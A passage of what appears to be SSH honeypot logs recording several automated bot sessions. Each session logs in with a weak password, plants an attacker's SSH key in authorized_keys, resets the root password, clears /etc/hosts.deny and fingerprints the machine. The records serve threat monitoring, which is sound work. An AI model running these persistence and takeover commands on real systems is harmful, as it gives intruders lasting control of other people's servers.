AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:54:01.064824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:54:01.419946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:54:01.724552+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pfUELMtffuah\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:54:02.018746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:54:02.319093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:54:03.062144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:54:03.363640+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:54:04.387579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:54:04.693734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:54:05.620619+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:54:05.921538+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:54:06.519738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:54:06.817938+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:54:07.698555+00:00","kind":"output","latency_ms":null,"data":" 12:54:07 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:54:07.999489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:54:08.541498+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:54:08.841036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:54:09.209639+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:54:09.508213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:09.790104+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:09 up 7 days, 9:44, 0 user, load average: 0.13, 0.16, 0.11\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:10.089150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:10.827662+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:11.127163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:11.498045+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:11.803918+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:12.543248+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:12.842284+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:14.122655+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:14.421668+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:15.906258+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"531cd024-fe1e-45ff-b7d0-72e35385721e","name":"fierce-freckled-owl","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:05.492043+00:00","ended_at":"2026-08-27T12:54:07.607201+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:46.485330+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:46.831390+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:53:49.927927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:50.507010+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:50.862293+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ycweyTQ686YA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:51.209483+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:51.552703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:52.218360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:52.567730+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:53.481391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:53.832526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:55.264523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:55.615444+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:56.298169+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:56.647168+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:56.995065+00:00","kind":"output","latency_ms":null,"data":" 12:53:56 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:57.343274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:58.216341+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:58.563277+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:59.357578+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:59.703457+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:54:00.101131+00:00","kind":"output","latency_ms":null,"data":"top - 12:54:00 up 7 days, 9:44, 0 user, load average: 0.29, 0.32, 0.29\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:54:00.447126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:54:01.219406+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:54:01.567963+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:54:02.466471+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:54:02.820070+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:54:03.497132+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:54:03.844808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:54:05.146223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:54:05.493080+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:54:07.503065+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"dc7fc61d-c17f-4018-ba98-b97ee9b95beb","name":"sullen-restless-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":445,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:53:15.753493+00:00","ended_at":"2026-08-27T12:53:16.740548+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:52:54.306921+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:52:54.751098+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:59.504104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:53:00.398184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:53:00.846615+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ICIvCSIfWQc7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:53:01.295815+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:53:01.740583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:53:02.247254+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:53:02.696266+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:53:03.970557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:53:04.437048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:53:05.717620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:53:06.179840+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:53:06.490178+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:53:06.934519+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:53:07.480154+00:00","kind":"output","latency_ms":null,"data":" 12:53:07 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:53:07.921554+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:53:08.334279+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:53:08.777955+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:53:09.123364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:53:09.566916+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:53:10.245354+00:00","kind":"output","latency_ms":null,"data":"top - 12:53:10 up 7 days, 9:43, 0 user, load average: 0.22, 0.22, 0.25\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:53:10.702189+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:53:11.459509+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:53:11.904266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:53:12.532966+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:53:12.980251+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:53:13.766945+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:53:14.211532+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:53:15.316113+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:53:15.754759+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:53:16.596440+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty121","method":"password","accepted":true,"tier":"other"}]} {"id":"da95395f-4d56-434c-89f1-495aa10cf491","name":"golden-blithe-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":33882,"username":"uno50","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:52:16.604226+00:00","ended_at":"2026-08-27T12:52:18.682721+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:51:57.817896+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:58.119012+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:52:02.066926+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:52:02.438831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:52:02.742966+00:00","kind":"input","latency_ms":null,"data":"echo -e \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:52:03.051735+00:00","kind":"input","latency_ms":null,"data":"echo \"uno50\\nMEdn4MKSuAJO\\nMEdn4MKSuAJO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:52:03.345071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:52:04.204547+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:52:04.510477+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:52:05.735011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:52:06.042565+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:52:07.414027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:52:07.716803+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:52:08.467929+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:52:08.770170+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:52:09.342190+00:00","kind":"output","latency_ms":null,"data":" 12:52:09 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:52:09.644097+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:52:10.120453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:52:10.423088+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:52:11.010125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:52:11.311525+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:52:12.120290+00:00","kind":"output","latency_ms":null,"data":"top - 12:52:12 up 7 days, 9:42, 0 user, load average: 0.22, 0.21, 0.22\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:52:12.422924+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:52:13.084233+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:52:13.388040+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:52:14.119327+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:52:14.421060+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:52:14.838243+00:00","kind":"output","latency_ms":null,"data":"uno50"},{"seq":29,"at":"2026-08-27T12:52:15.140811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:52:16.299340+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:52:16.606268+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:52:18.592717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"uno50","password":"uno50","method":"password","accepted":true,"tier":"other"}]} {"id":"b474a105-1c8f-4b7a-a107-b6513d19cb4c","name":"wandering-icy-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":51332,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:51:59.998119+00:00","ended_at":"2026-08-27T12:52:01.203481+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:51:41.934701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:51:42.260835+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:51:46.230122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:51:46.620157+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:51:46.949311+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UnYf4RHUdHcG\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:51:47.279526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:51:47.606750+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:51:48.393541+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:51:48.720548+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:51:49.856184+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:51:50.454022+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 